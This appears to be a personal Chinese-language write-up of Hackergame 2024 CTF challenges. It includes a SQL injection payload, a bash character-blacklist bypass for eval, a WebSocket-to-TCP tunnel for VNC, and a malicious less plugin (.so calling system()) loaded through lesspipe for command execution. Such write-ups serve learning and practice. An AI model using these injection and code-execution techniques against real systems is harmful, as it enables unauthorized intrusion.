前言
太忙了,没时间打
题目很有启发性,明年还会来(
官方wp:https://github.com/USTC-Hackergame/hackergame2024-writeups
web-签到
发现pass参数,改为true即可得到flag
web-喜欢做签到的 CTFer 你们好呀
nebula的主页:https://www.nebuu.la/
是一个终端,测一测命令得到flag
Checkin Again:flag{actually_theres_another_flag_here_trY_to_f1nD_1t_y0urself___join_us_ustc_nebula}
Checkin Again & Again:flag{0k_175_a_h1dd3n_s3c3rt_f14g___please_join_us_ustc_nebula_anD_two_maJor_requirements_aRe_shown_somewhere_else}
general-打不开的盒
下载到一个 3d 模型的 stl 文件,还好之前金工实习的 chitubox 还没删(
flag{Dr4W_Us!nG_fR3E_C4D!!w0W}
general-每日论文太多了!
下载pdf,用wps打开,ctrl+f搜flag
发现 flag here 下面有个图片
flag{h4PpY_hAck1ng_3veRyd4y}
web-PaoluGPT
千里挑一
脚本提取页面的href并批量访问
import requests
from bs4 import BeautifulSoup
# 设置要查找的 flag
flag = "flag{"
# 发送HTTP请求并获取页面内容
url = 'https://chal01-dbsra3rg.hack-challenge.lug.ustc.edu.cn:8443/list' # 替换为您要抓取链接的网页
cookie = {
"session": ""
}
response = requests.get(url, cookies=cookie)
html_content = response.text
# 使用BeautifulSoup解析页面内容
soup = BeautifulSoup(html_content, 'html.parser')
# 查找所有的<a>标签
links = soup.find_all('a')
# 检查页面内容是否包含 flag
def check_for_flag(content, flag):
if flag in content:
return True
return False
# 提取每个链接的href属性,并检查是否包含 flag
for link in links:
href = link.get('href')
if href:
link_url = "https://chal01-dbsra3rg.hack-challenge.lug.ustc.edu.cn:8443" + href # 构建完整链接
link_response = requests.get(link_url, cookies=cookie)
link_content = link_response.text
if check_for_flag(link_content, flag):
print(f"Flag found at: {link_url}")
窥视未知(复现)
附件,何时来的,是了,我没看到(
database.py
import sqlite3
def execute_query(s: str, fetch_all: bool = False):
conn = sqlite3.connect("file:/tmp/data.db?mode=ro", uri=True)
cur = conn.cursor()
res = cur.execute(s)
if fetch_all:
return res.fetchall()
else:
return res.fetchone()
是 Sqlite 数据库
@app.route("/view")
def view():
conversation_id = request.args.get("conversation_id")
results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
return render_template("view.html", message=Message(None, results[0], results[1]))
然后这一眼存在注入
注意到
@app.route("/list")
def list():
results = execute_query("select id, title from messages where shown = true", fetch_all=True)
messages = [Message(m[0], m[1], None) for m in results]
return render_template("list.html", messages=messages)
说明 list 会把所有 shown=true 的都列出来,结合题目名那么 shown=false 的就是我们的目标了
于是构造sql注入语句
' or shown = false --
就能找到 flag{enJ0y_y0uR_Sq1_&_1_would_xiaZHOU_hUI_guo_c80c91f76e}
General-PowerfulShell(复现)
#!/bin/bash
FORBIDDEN_CHARS="'\";,.%^*?!@#%^&()><\/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0"
PowerfulShell() {
while true; do
echo -n 'PowerfulShell@hackergame> '
if ! read input; then
echo "EOF detected, exiting..."
break
fi
if [[ $input =~ [$FORBIDDEN_CHARS] ]]; then
echo "Not Powerful Enough :)"
exit
else
eval $input
fi
done
}
PowerfulShell
看看我们能用什么字符:反引号,~
,$
,-
,_
,+
,=
,[
,{
,}
,]
,\
,|
,:
,和除了0以外的所有数字
首先是$_
,执行上一次命令,这里返回了input
${}
引用变量
$-
返回了hB
,那么可以用${-: -2:1}
截取到字母 h 和 B,同理也可以获取 input 这五个字母
____=$_
___=${____: -5:1}${____:2:1}
$___ -${-: -2:1}
# ip
$[]
返回了0,那有了啊,$0
在这里是 /players/PowerfulShell.sh,但是我们不能直接$$__
这样,会顺序执行。。
__=$[]
那咋办,正则匹配吧,从 i 到 B,但是正则只能在bash脚本里面这么写
____=$_
[${____: -5:1}-${-:1:1}]{3}
还有直接运算的写法可以得到0
$[1-1]
我们知道 ~
对应家目录,这里输入~
,对应的目录是/players
那么结合前面的hB
我们就能拼出 sh 了
_1=~
_2=$-
${_1:7:1}${_2: -2:1}
general-无法获得的秘密(Unsolved)
发现vnc这里有个剪贴板
用途在这里:https://vlab.ustc.edu.cn/docs/login/browser/
尝试把剪贴板功能重新激活,
但是这个选项无法保存,因为vnc是用root起的且指定了参数
那么另一种思路就是把文件编码之后截图下来识别字母,但是文件有点大,这么做感觉不现实
(不是特别懂,但是先存着,以后说不定能派上用场!)
wp给出的思路是将文件编码成图片,然后截图解码下来,只要保证这个过程图片无损就可以搞定
可以使用 canvas 和 js 来实现一个简单的灰度编码算法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script type="text/javascript" src="index.js"></script>
</head>
<body style="margin: 0;">
<div>
<input type="file" id="file-input">
<button id="btn-run">run</button>
</div>
<div>
<canvas width="1024px" height="512px" id="canvas-data"></canvas>
</div>
</body>
</html>
const width = 1024;
const height = 512;
document.addEventListener("DOMContentLoaded", (e) => {
const fileInput = document.getElementById("file-input");
const btnRun = document.getElementById("btn-run");
btnRun.addEventListener("click", (e) => {
if (fileInput.files.length === 0) {
console.log("No file selected");
return;
}
const reader = new FileReader();
reader.onload = () => {
const buffer = reader.result;
const canvas = document.getElementById("canvas-data");
const ctx = canvas.getContext("2d")
const imageData = ctx.getImageData(0, 0, width, height);
const data = imageData.data;
const fileData = new Uint8Array(buffer);
for (let i = 0; i < fileData.length; ++i) {
const dataOffset = i * 4;
data[dataOffset] = fileData[i];
data[dataOffset + 1] = fileData[i];
data[dataOffset + 2] = fileData[i];
data[dataOffset + 3] = 255;
}
ctx.putImageData(imageData, 0, 0);
}
reader.readAsArrayBuffer(fileInput.files[0]);
})
})
截图下来,解码:
from PIL import Image
import numpy as np
if __name__ == "__main__":
IMG_PATH = ""
img = Image.open(IMG_PATH)
img.load()
data = np.asarray(img, dtype=np.uint8)[:, :, 0]
data = data.flatten()
with open(IMG_PATH.replace(".png", ".bin"), "wb") as f:
f.write(data)
但是 noVNC 使用有损编码传输图像,而上面的编码算法没有任何冗余,很容易就出现某个字节差 1 的情况
注意到题目使用 WebSocket 来传输数据,可以把 WebSocket 转为 TCP:
import asyncio
import websockets
COOKIE=open("cookie").read().strip()
SERVER_IP = ""
async def handler(reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
async with websockets.connect(f"ws://{SERVER_IP}:12010/connect", extra_headers=[("Cookie", COOKIE)]) as ws_conn:
async def client_to_server():
try:
while True:
data = await reader.read(4096)
if not data:
break
await ws_conn.send(data)
except websockets.exceptions.ConnectionClosed:
return
except asyncio.CancelledError:
return
finally:
await ws_conn.close()
async def server_to_client():
try:
while True:
data = await ws_conn.recv()
if not data:
break
writer.write(data)
await writer.drain()
except websockets.exceptions.ConnectionClosed:
return
except asyncio.CancelledError:
return
finally:
writer.close()
await asyncio.gather(client_to_server(), server_to_client())
async def main():
server = await asyncio.start_server(handler, "127.0.0.1", 12010)
await server.serve_forever()
if __name__ == "__main__":
asyncio.run(main())
这样就可以在本机使用其他 VNC 客户端来连接题目环境,从而将图像传输调整为无损编码,即可执行上述方案。解码得到文件后可以 sha256sum
一下确认与题目环境提供的一致,上传该文件到题目网页即可得到 flag
LESS 文件查看器在线版(Unsolved)
涉及到了 less 命令的底层,与 lesspipe 有关
参考:
https://seclists.org/oss-sec/2014/q4/1027
https://seclists.org/fulldisclosure/2014/Nov/74
在与题目同样的 Dockerfile 的环境下执行下列命令生成文件
printf '#include <stdlib.h>\nvoid onload(void *v) { system("ls / -alh"); }' | \
gcc -fPIC -shared -o plugin.so -xc -
ar rc ./@.a /dev/null
echo '-s --plugin ./plugin.so ./@.a' > .a
然后把生成的 plugin.so
、.a
、@.a
三个文件依次上传,于是就可以列出根目录,然后修改上面的命令重新上传一遍就行